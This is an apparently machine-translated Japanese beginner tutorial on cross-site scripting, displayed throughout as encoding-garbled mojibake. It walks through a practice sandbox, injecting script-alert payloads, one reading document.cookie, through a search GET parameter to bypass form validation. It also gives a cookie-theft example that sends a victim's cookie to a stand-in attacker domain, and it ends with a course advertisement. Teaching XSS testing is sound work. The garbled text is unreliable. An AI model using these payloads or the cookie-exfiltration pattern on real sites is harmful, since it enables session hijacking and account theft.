ããªããã»ãã¥ãªãã£ãã¹ãã®ç¬¬äžäººè ã§ããã倧èŠæš¡ãªITäŒæ¥ã®å ±å¥šéããã°ã©ã ã«1ã2ååå ããŠããŠãèŠã€ããXSSã®æ°ãæ°åãŸãã¯æ°çŸã§ããå Žåã¯ããã®èšäºãç¡èŠããŠãåé¡ãããŸããããã®ãããã¯ã«äžæ £ãã§ãè匱æ§ã®çºèŠã«èå³ãæã¡å§ããã°ããã®å Žåã¯ãç«ã®äžã§æè¿ããŸãã
å®çŸ©
XSSïŒCross-Site ScriptingïŒã¯ãå€ãã®Webã¢ããªã±ãŒã·ã§ã³ã§èŠãããããªãäžè¬çãªè匱æ§ã§ãããã®æ¬è³ªã¯éåžžã«åçŽã§ããæ»æè ã¯ãéçºè ããæäŸãããŠããªãããŒãžã«JavaScriptã³ãŒããæ¿å ¥ããããšãã§ããŸãããã®ã³ãŒãã¯ã被害è ïŒéåžžã®ãŠãŒã¶ãŒïŒããã®ã³ãŒããè¿œå ãããã¢ããªã±ãŒã·ã§ã³ããŒãžã«ã¢ã¯ã»ã¹ãããã³ã«å®è¡ãããŸãããããŠãããã€ãã®éçºã·ããªãªããããŸãã
ãŸããæ»æè ã¯ãŠãŒã¶ãŒã®è³æ Œæ å ±ãååŸããŠèªåã®ã¢ã«ãŠã³ãã«ãã°ã€ã³ã§ããããã«ãªããŸãã
第äºã«ãæ»æè ã¯è¢«å®³è ã«æ°ä»ãããã«å¥ã®ã¯ããŒã³ããŒãžã«ãªãã€ã¬ã¯ãããå¯èœæ§ããããŸãããã®ããŒãžã¯ããŠãŒã¶ãŒãæåŸ ããããŒãžãšå®å šã«åãã«èŠããå ŽåããããŸããããããããã¯äŸµå ¥è ã«å±ããŸãããŠãŒã¶ãŒã眮æã«æ°ä»ããããã®ããŒãžã«æ©å¯ããŒã¿ãã€ãŸãå人ããŒã¿ãå ¥åããå Žåãæ»æè ã¯ãããå ¥æããŸãã
3çªç®...ã¯ããäžè¬çã«ãããªããèããããšãã§ããããå€ãã JavaScriptãå®è¡ã§ããã»ãšãã©ãã¹ãŠã®ããšã¯ãæ»æè ãå©çšã§ããããã«ãªããŸãã以äžã§ã¯ããããã®äŸã®1ã€ã詳ããèŠãŠãããŸãããããŸã§ã®éãè匱æ§ãã©ã®ããã«æ©èœãããã«ã€ããŠããå°ã詳ãã説æããŠã¿ãŸãããããŸããæ»æè ããœãŒã¹ã«ã¢ã¯ã»ã¹ããã«èªåã®ã³ãŒããä»ã®èª°ãã®ã¢ããªã±ãŒã·ã§ã³ã«æ¿å ¥ããããšãã§ããã®ã¯ãªãã§ããã
å°ãèŠåã以äžã®ãã¹ãŠã®æ å ±ã¯ãæ å ±æäŸã®ã¿ãç®çãšããŠæ瀺ãããŠããŸãããã¹ã¿ãŒã¯ãèªåã®Webã¢ããªã±ãŒã·ã§ã³ã®è匱æ§ããã¹ãã§ããå¿ èŠããããŸãããã ããä»ã®äººã®ãªãœãŒã¹ã§XSSã®è匱æ§ãæªçšããããšã¯éæ³ã§ãã
çŸåšã®ãã·ã¢ã®æ³åŸã«ã€ããŠèšãã°ãç 究è ãä»äººã®è£œåã®è匱æ§ããã¹ãããããææè ã®ç¥ããªããã¡ã«ä»äººã®ãããã¯ãŒã¯ã«äŸµå ¥ããããããšã圌ã®è¡åã¯éæ³ãšèŠãªãããå¯èœæ§ããããŸãã
ããããXSSã«æ»ããŸãã
è匱æ§ã¯ã©ã®ããã«æ©èœããŸããïŒ
ãŸãã以åã¯ãªãã£ãããŒãžã«JavaScriptã³ãŒããã©ã®ããã«æ£ç¢ºã«æ¿å ¥ã§ããŸããïŒãããŠããã®ã³ãŒããä»ã®ãŠãŒã¶ãŒã«ã©ã®ããã«é åžããŸããïŒ
ããšãã°ãJavaScriptã³ãŒããå ¥åãã£ãŒã«ãã«è¿œå ããŠãããããããã¹ããä¿åããåŸã§ãã¹ãŠã®ãŠãŒã¶ãŒã®ããŒãžã«è¡šç€ºããããšãã§ããŸããããã¯ããœãŒã·ã£ã«ãããã¯ãŒã¯ã®ãããã£ãŒã«ããŒãžã«èªåã«é¢ããæ å ±ãå ¥åãããããã©ãŒã©ã ã«ã³ã¡ã³ããããããããã®ãã£ãŒã«ãã«ããããšãã§ããŸãã
æ»æè ã¯ãããŒãžã«ä¿åãããŠããããã¹ãïŒããã³1ã€ã®æªæã®ããã³ãŒãïŒãå ¥åããŸããä»ã®ãŠãŒã¶ãŒãåãããŒãžã«ã¢ã¯ã»ã¹ãããšãæ»æè ã®JavaScriptãããã¹ããšãšãã«ããŠã³ããŒããããŸããããŒãã®æç¹ã§ããã®ã³ãŒãã¯æ©èœããŸãããã¡ããããã®è匱æ§ã¯ãä¿åæã«ããã¹ããå®å šã§ãªãå Žåã«ã®ã¿æ©èœããŸãããããè¡ãæ¹æ³ãšãéçºè ãæã ãããå¿ããçç±ã«ã€ããŠã¯ãå°ãåŸã§èª¬æããŸãã
ããã¯ãè匱æ§ãé ãããšãã§ããæãåçŽã§æãæçœãªäŸã§ãã以äžã§ã¯ãç¹å¥ã«çšæããããã¢ããŒãžã§ããèå³æ·±ãäŸãæ€èšããŸãã
ãããŸã§ã¯ãå ã«é²ã¿ãŸãããã
ãããã®ãšã©ãŒãWebãããžã§ã¯ãã§é »ç¹ã«èŠãããã®ã¯ãªãã§ããïŒ
èŠããã«ããã©ãŠã¶ã¯ãã¬ãŒã³ããã¹ããšCSSãHTMLããŸãã¯JavaScriptã³ãŒãã§ããããã¹ããåå¥ã«åºå¥ã§ããªããšããããšã§ãã <script>ã¿ã°ã®éã®ãã¹ãŠãJavaScriptã³ãŒããšããŠåŠçããããšããŸãã <style>ã¿ã°ã®éã«ãããã®ã¯ãã¹ãŠCSSãšèŠãªãããŸãããããŠãã¿ã°ã®ããã«èŠãããã®ã¯ãã¹ãŠHTMLã³ãŒããšèŠãªãããŸãã
éçºè ãäžéšã®ããã¹ããã³ãŒãã®ããã«èŠãããããããã§ã¯ãªãïŒã€ãŸãããã©ãŠã¶ã§åŠçãããªãã£ããããã®ãŸãŸè¡šç€ºãããïŒå Žåããã®ããã¹ãã¯ãã©ãŠã¶ã«æž¡ãåã«ç¹å¥ã«åŠçããå¿ èŠããããŸãããã®åŠçã¯ãã·ãŒã«ãããšåŒã°ããŸãã
ãã®ããã¹ãã®ããã¹ãããšã¹ã±ãŒãããéçšã§ããã¹ãŠã®ã¹ãã·ã£ã«ãæåã¯ãã«ãŠã³ã¿ãŒããŒããã«çœ®ãæãããããã©ãŠã¶ã¯ãããåãªãããã¹ãã§ããããšããã§ã«ç¢ºå®ã«èªèããŠããŸããæãéèŠãªããšã¯ããŠãŒã¶ãŒããã®ããã¹ããåŠçããããšã§ããããã¯ãã©ã®ãŠãŒã¶ãŒãæ»æè ã§ããããšãå€æããããã¹ããšäžç·ã«ã³ãŒããéä¿¡ããå¯èœæ§ãããããã§ããæ®å¿µãªãããéçºè ãWebã¢ããªã±ãŒã·ã§ã³ã®ç¹å®ã®å Žæã§ãšã¹ã±ãŒãããããšãå¿ããããã¹ããåŠçãããã«è¡šç€ºãããããšããããŸããããã«ã¯ããã€ãã®çç±ãèããããŸãã
ããšãã°ãããã°ã©ããŒã¯ããŠãŒã¶ãŒãæå®ããããã¹ããããŒãžã«è¡šç€ºããããã¹ãŠã®å Žæãåžžã«å¿µé ã«çœ®ããŠããããã§ã¯ãããŸãããããã«ããµã€ãã®ããŸããŸãªéšåãããŸããŸãªæéã«ãããã³/ãŸãã¯ããŸããŸãªäººã ã«ãã£ãŠäœæãããå ŽåããããŸãããã®å Žåããšã©ãŒã®å¯èœæ§ãé«ããªããŸãã
ãã1ã€ã®çç±ã¯ãè匱æ§ãéçºè èªèº«ã®ã³ãŒãã§ã¯ãªããéçºè ã䜿çšããã©ã€ãã©ãªã®ã³ãŒãã«ããããšã§ããå¯èœæ§ããããŸããéåžžããããã¯WebãµãŒãã¹ãäœæããããã®æ¢è£œã®ãã¬ãŒã ã¯ãŒã¯ã§ãããã®å Žåãéçºè ã¯ãã¡ããããã®ãã¬ãŒã ã¯ãŒã¯ããããžã§ã¯ãã«æ¥ç¶ããããšã§ãæ¢æã®è匱æ§ããããžã§ã¯ãã«èªåçã«æ¥ç¶ããããšãçãããšããã§ããªããããããŸããã
ãã®ãããªãªã¹ã¯ã¯åžžã«ãããŸããããã«ãããããããã©ã€ãã©ãªããŸã£ãã䜿çšããã«ã¢ããªã±ãŒã·ã§ã³ãå®å šã«ãŒãããäœæããããšã¯ãä»æ¥ã§ã¯é·ããŠè²»çšãããããŸãããã¹ãŠã®äŒæ¥ããã®ã¬ãã«ãéçºããäœè£ãããããã§ã¯ãããŸããã
ãã®å Žåããã¹ãŠã®åžæã¯ãã¹ã¿ãŒã«ââãããŸãã
XSSã®è匱æ§ãå±éºãªã®ã¯ãªãã§ããïŒ
ããäžåºŠãXSSã®è匱æ§ã®å±éºæ§ã«ã€ããŠè©³ãã説æããŸããããè匱æ§èªäœã¯å±éºã§ã¯ãããŸãããäŸµå ¥è ããããèŠã€ããŠèªåã®ç®çã«äœ¿ãå§ãããšå±éºã«ãªããŸããè匱æ§ãæªçšããããšããæ»æãã¯ãã«ããšåŒã³ãŸãã XSSã®å Žåãããªãã®æ°ã®æ»æãã¯ãã«ããããŸãã
æãç°¡åãªäŸã¯ãWebã¢ããªã±ãŒã·ã§ã³ã®ãŠãŒã¶ãŒããèªèšŒCookieãçãããšã§ããã»ãšãã©ã®å Žåãèš±å¯ããããµã€ãã¯ãããããã»ãã·ã§ã³Cookieã«ãã£ãŠèš±å¯ããããŠãŒã¶ãŒãåºå¥ããŸããããã«ãªãå ŽåããŠãŒã¶ãŒã¯èš±å¯ãããŠããŸããããããããªãããã®ã¯ãããŒã®å€ã«ãã£ãŠããµãŒããŒã¯ãããŠãŒã¶ãŒãå¥ã®ãŠãŒã¶ãŒããåºå¥ããããšãã§ããŸãã
ãã¹ãŠã®Cookieã¯ãŠãŒã¶ãŒã®ã³ã³ãã¥ãŒã¿ãŒã«ä¿åãããŸãããŠãŒã¶ãŒãšããŠãã°ã€ã³ãããšãCookieã®å€ã衚瀺ãããŸãããããŠãç§ã¯èŠç¥ãã¬äººã®æå³ãèŠã€ããããšãã§ããŸããã
ãŠãŒã¶ãŒã®ãã©ãŠã¶ã§å®è¡ãããJavaScriptã³ãŒãã«ã€ããŠãåãããšãèšããŸãããã®JavaScriptã³ãŒãã¯ããã©ãŠã¶ã§å®è¡ãããŠãããŠãŒã¶ãŒã®Cookieå€ãšãã®1ã€ã ãã衚瀺ããŸãã
ããã§ãæ»æè ãJavaScriptã³ãŒããWebã¢ããªã±ãŒã·ã§ã³ããŒãžã«æ¿å ¥ããããšã«æåãããšä»®å®ããŸãããããã®ããŒãžã«ã¢ã¯ã»ã¹ãããŠãŒã¶ãŒã¯ããã©ãŠã¶ã§JavaScriptã³ãŒããå®è¡ã§ããŸãããã®ãŠãŒã¶ãŒïŒçŸåšã¯è¢«å®³è ïŒã®Cookieå€ãèªã¿åããŸãããã®å€ãæ»æè ã«æž¡ãã ãã§ãäœæ¥ã¯å®äºã§ããããããæªæã®ããã³ãŒãã¯è¢«å®³è ã®ãã©ãŠã¶ã§å®è¡ããããããå€ãæž¡ãæ¹æ³ã¯ïŒ
ãšãŠãç°¡åã§ããåãJavaScriptã³ãŒãã§ããªã¢ãŒããµãŒããŒãžã®AJAXèŠæ±ãäœæã§ããŸããããšãã°ã次ã®URLãžïŒwww.zloy-site.ru/stolen= { victim_cookie_value }
zloy-siteãã¡ã€ã³ã¯ããã®äŸã®æ»æè ã«å±ããŠããŸãããã®ãã¡ã€ã³ã«éä¿¡ããããã¹ãŠã®èŠæ±ã¯ãããŒã¿ããŒã¹ã«èšé²ãããŸããæ»æè ã¯URLãã©ã¡ãŒã¿ã確èªããããšã§ã被害è ã®Cookieå€ãåŠç¿ãããããã䜿çšããŠã¢ã«ãŠã³ãã«ã¢ã¯ã»ã¹ã§ããŸãã
äžã§èª¬æããããã«ãXSSã®è匱æ§ãå±éºã§ããçç±ã¯ããã ãã§ã¯ãããŸããããããã£ãŠãã»ãã¥ãªãã£ãšãŠãŒã¶ãŒãä¿è·ããããã«ããããžã§ã¯ãã§ãã®ãããªè匱æ§ãèŠã€ããŠä¿®æ£ã§ããå¿ èŠããããŸãã
XSSã¯ã©ãã«ãããŸããïŒã©ã®ããã«å¯ŸåŠããŸããïŒäŸã®ãããã¢ããŒãž
ãŸããäžè¬ãŠãŒã¶ãŒãã³ã³ãã³ãã«åœ±é¿ãäžããæ©äŒããããµã€ãäžã®XSSã®è匱æ§ããã§ãã¯ãã䟡å€ããããŸãã圌ãã©ããã«ããã¹ããè¿œå ã§ããå Žåã¯ãJavaScriptã³ãŒããè¿œå ããŠã¿ãããšãã§ããŸãã
å ·äœçãªäŸã§ãããèŠãŠã¿ãŸãããã XSSã®è匱æ§ãé ãããŠããéåžžã«åçŽãªãµã³ãããã¯ã¹ãçšæããŸãããäžç·ã«èŠã€ããŠã¿ãããšããå§ãããŸãã
ãµã³ãããã¯ã¹ãéãïŒhttpsïŒ//playground.learnqa.ru/demo/xss
ãŸããããŒãžãã©ã®ããã«æ©èœããããèŠãŠã¿ãŸããããããã¯æ¬è³ªçã«æ€çŽ¢ã§ããéåžžã«åçŽãªæ¬ã®ã«ã¿ãã°ã§ããã¯ãšãªã«ãRayBradburyããšå ¥åãããšããã®èè ã®ãã®ãã£ã¬ã¯ããªã«ãããã¹ãŠã®æ¬ã衚瀺ãããŸãã
泚ææ·±ããŠãŒã¶ãŒã¯ãæ€çŽ¢ãã£ãŒã«ãã«å ¥åããããã¹ããããã«URLã«å«ãŸããããšã«ãã§ã«æ°ã¥ããŠããŸãããã®ç¬éã¯ãŸã ç§ãã¡ã«åœ¹ç«ã¡ãŸãã
ãšãããããæ€çŽ¢ããã¯ã¹ãfwefewfãã«æå³ã®ãªããã®ãæ¿å ¥ããŠã¿ãŸãããã
ãã®å ŽåãããŒãžã«äœãèŠã€ãããŸããã§ããããããŠããšã©ãŒããã¹ãã§ãªã¯ãšã¹ãããã¹ããç¹°ãè¿ãããŸããã
ããã§ãããªããšç§ã¯ãç§ãã¡ãå ¥åããããã¹ãã衚瀺ãããå ŽæãèŠã€ããŸããããããã£ãŠãããã¯XSSã®è匱æ§ã®æœåšçãªãµã€ãã§ããæã人æ°ã®ããJavaScriptã³ãŒããæ¿å ¥ããŠãè匱æ§ããããã©ããã確èªããŠã¿ãŸãããã
<script> alertïŒ123ïŒ</ script>
ããŒãžãè匱ãªå Žåããã®ã³ãŒããå ¥åãããšã次ã®ãŠã£ã³ããŠãããŒãžã«è¡šç€ºãããŸãã
ããã¯ãJavaScriptã³ãŒããå®è¡ãããXSSã®è匱æ§ãèŠã€ãã£ãããšãæå³ããŸãã
ãããã£ãŠãã³ãŒããå ¥åãããšã次ã®èŠåã衚瀺
ãããŸãããã©ãŒã ã¯æ€èšŒãããŠãããæåãšæ°åã®ã¿ãåŠçããå¿ èŠãããããããã©ãŒã ã§ã¯ãã®å€ã§æ€çŽ¢ã§ããŸãããäžèŠãéçºè ã¯ãã¹ãŠãèæ ®ã«å ¥ããŠããŒãžãXSSããä¿è·ããŠããããã«èŠããŸãããããã¯å®å šã«çå®ã§ã¯ãããŸããã
ããäžã§ãæ€çŽ¢ãã£ãŒã«ãã«å ¥åããããã¹ãããããããGETãã©ã¡ãŒã¿ãŒã®URLã«è¡šç€ºãããŠããããšã«æ°ã¥ããããšãèŠããŠããŸããïŒãã®ãã©ã¡ãŒã¿ã®ååã¯ãqãã§ãå€ã¯æ€çŽ¢ãã£ãŒã«ãã«å ¥åããå€ã§ããããã¯ããã®æ€çŽ¢æååãšäžç·ã«URLãã³ããŒããŠã次ã«é©åãªäœæè ãããããŒãžãããã«éãããšãã§ããããã«ããããã§ãã
ããšãã°ããã®URLã¯ããã«ã®ã¿ã¬ã€ã»ãã©ããããªã®æ¬ã§ããŒãžãéããŸãïŒplayground.learnqa.ru/demo/xss?q=Ray+Bradburyã¯
ãã©ãŒã ãšã¯ç°ãªããéçºè ã¯ãURLæ€èšŒãè¡ãããšãã§ããŸããã§ãã-ãã¹ãŠã®ãŠãŒã¶ãŒãèªåã®ãã©ãŠã¶ã«ä»»æã®URLãå ¥åããããšãã§ããŸãGETãã©ã¡ãŒã¿ã®ä»»æã®å€ãå«ããå¿ èŠãªãã®ã¯äœã§ãããã®å Žåã®éçºè ã®ã¿ã¹ã¯ã¯ããã¹ãŠã®ãªãã·ã§ã³ãèæ ®ã«å ¥ãããã®GETãã©ã¡ãŒã¿ãŒã®å€ã«å¯ŸããŠæ£ãããã³ãã©ãŒãäœæããããšãå¿ããªãããšã§ãã
éçºè ãããã§ãã¹ãŠãèæ ®ã«å ¥ããã®ãå¿ããŠããªããã©ããã確èªããŸããããåãJavaScriptã³ãŒãããqãGETãã©ã¡ãŒã¿ãŒã«çœ®ãæããŠã¿ãŸããããhttpsïŒ//playground.learnqa.ru/demo/xssïŒ q = <script> alertïŒ123ïŒ</ script>
ãã®URLãã¯ãªãã¯ãããšã次ã®ããšãããããŸããå€123ã®ãŠã£ã³ããŠãããŒãžã«è¡šç€ºãããŸããããããããªãã§ããïŒ
ãšãŠãç°¡åã§ãããµã€ããç¹å®ã®æ€çŽ¢ã¯ãšãªã«å¿ èŠãªæ¬ãèŠã€ããããšãã§ããªãå Žåããã®æ€çŽ¢ã¯ãšãªã®ããã¹ãããšã©ãŒã®ããã¹ãã§è¡šç€ºããããšãèŠããŠããŸããïŒåæ§ã«ãã¯ãšãªãäœãšãäœãšããã«å¯ŸããŠäœãèŠã€ãããŸããã§ããããã®ãäœãšãäœãšããã®ä»£ããã«ãã¢ã©ãŒãä»ãã®JavaScriptã³ãŒãããããŸããéçºè ã¯å ¥åãã£ãŒã«ãã®æ€èšŒãäœæãããããæ€çŽ¢ã¯ãšãªã«å«ãŸããJavaScriptãããµã€ããä¿è·ããæ¹æ³ã§ãããšå€æããŸããããããŠã圌ã¯ãšã©ãŒããã¹ããéããŸããã§ãããããã§æ€çŽ¢ã¯ãšãªå€ãå€æŽããããšã§ãURLãä»ããæ€èšŒããã€ãã¹ããããšãã§ããŸããã
èå³ãåŒãããã«ãã»ãã·ã§ã³cookieã®å€ã衚瀺ã§ããããã«ãªããŸãããããã«ã¯ã<script> alertïŒïŒ</ script>ã®ä»£ããã«ãURLã«å¥ã®ã³ãŒãã眮ãæããå¿ èŠããããŸãïŒ<script> alertïŒdocument.cookieïŒ</ script>
ããã§éãã§ã¿ãŸãããããªãèªèº«ã :)
ãã°ãèŠã€ããå Žåã¯ãéçºè ã«é£çµ¡ããå¿ èŠããããŸã-圌ãã¯ãããä¿®æ£ããŸãã
ãšã©ãŒãéããæ¹æ³ã¯ãããããããŸããããã¹ãããšã¹ã±ãŒãããã ãã§ã¯ãããŸããã JavaScriptèªäœãäžéšã®Cookieãèªèããªãããã«ããããšãã§ããŸãããã®ãããCookieã«ã¯ãhttpã®ã¿ããšããç¹å¥ãªãã©ã¡ãŒã¿ããããŸãã TRUEã«èšå®ãããŠããå ŽåãJavaScriptã¯ããã®ãããªCookieãèšå®ãããŠããããšããŸã£ããæ€åºã§ããããããžã§ã¯ãã§XSSãèŠã€ãããšããŠãããããèªã¿åã£ãŠæ»æè ã«è»¢éããããšã¯ã§ããŸããã
ãããã¯ãã¹ãŠãXSSã®è匱æ§ãé²ãããã®æäœã®å®å šãªãªã¹ãããã¯ã»ã©é ããã»ãã®å°ããªãã®ã§ããäžèšã®ããã«ããã¹ãäžã«XSSãæ€åºãããå Žåã¯ãããã°ã©ããŒã«çžè«ããããšããå§ãããŸãã
ã»ãã¥ãªãã£ãã¹ãã«ã€ããŠè©³ããç¥ãããå Žåã¯ãã¯ã©ã€ã¢ã³ããµãŒããŒã¢ãŒããã¯ãã£ã®æ§é ãããããç解ããå®éã®Webã¢ããªã±ãŒã·ã§ã³ã®è匱æ§ãèŠã€ããæãå¹æçãªæ¹æ³ãç解ããŠç£šãããå Žåã¯ãç§ã®ã³ãŒã¹ãã»ãã¥ãªãã£ãã¹ããã«ã¢ã¯ã»ã¹ããŠãã ãããããªããå¿ èŠãšãããã¹ãŠã®æ å ±ã¯ç§ã®ãããã£ãŒã«ã«ãããŸãã
ããªãã¯æ°Žãªãã§æçšã§å¿ èŠãªçè«ãšå€ãã®å®éçãªäŸãšä»äºã ããèŠã€ããã§ããããããŸããŸãªè匱æ§ãè©°ã蟌ãŸããå€ãã®WebããŒãžãæ¢çŽ¢ããŸããæçµçãªäœæ¥ã¯ãäœæ¥ãããžã§ã¯ãããŸãã¯GoogleãFacebookãTwitterãªã©ã®å·šäººã®Webã¢ããªã±ãŒã·ã§ã³ã®1ã€ã«é¢ãã倧èŠæš¡ãªèª¿æ»ã§ãã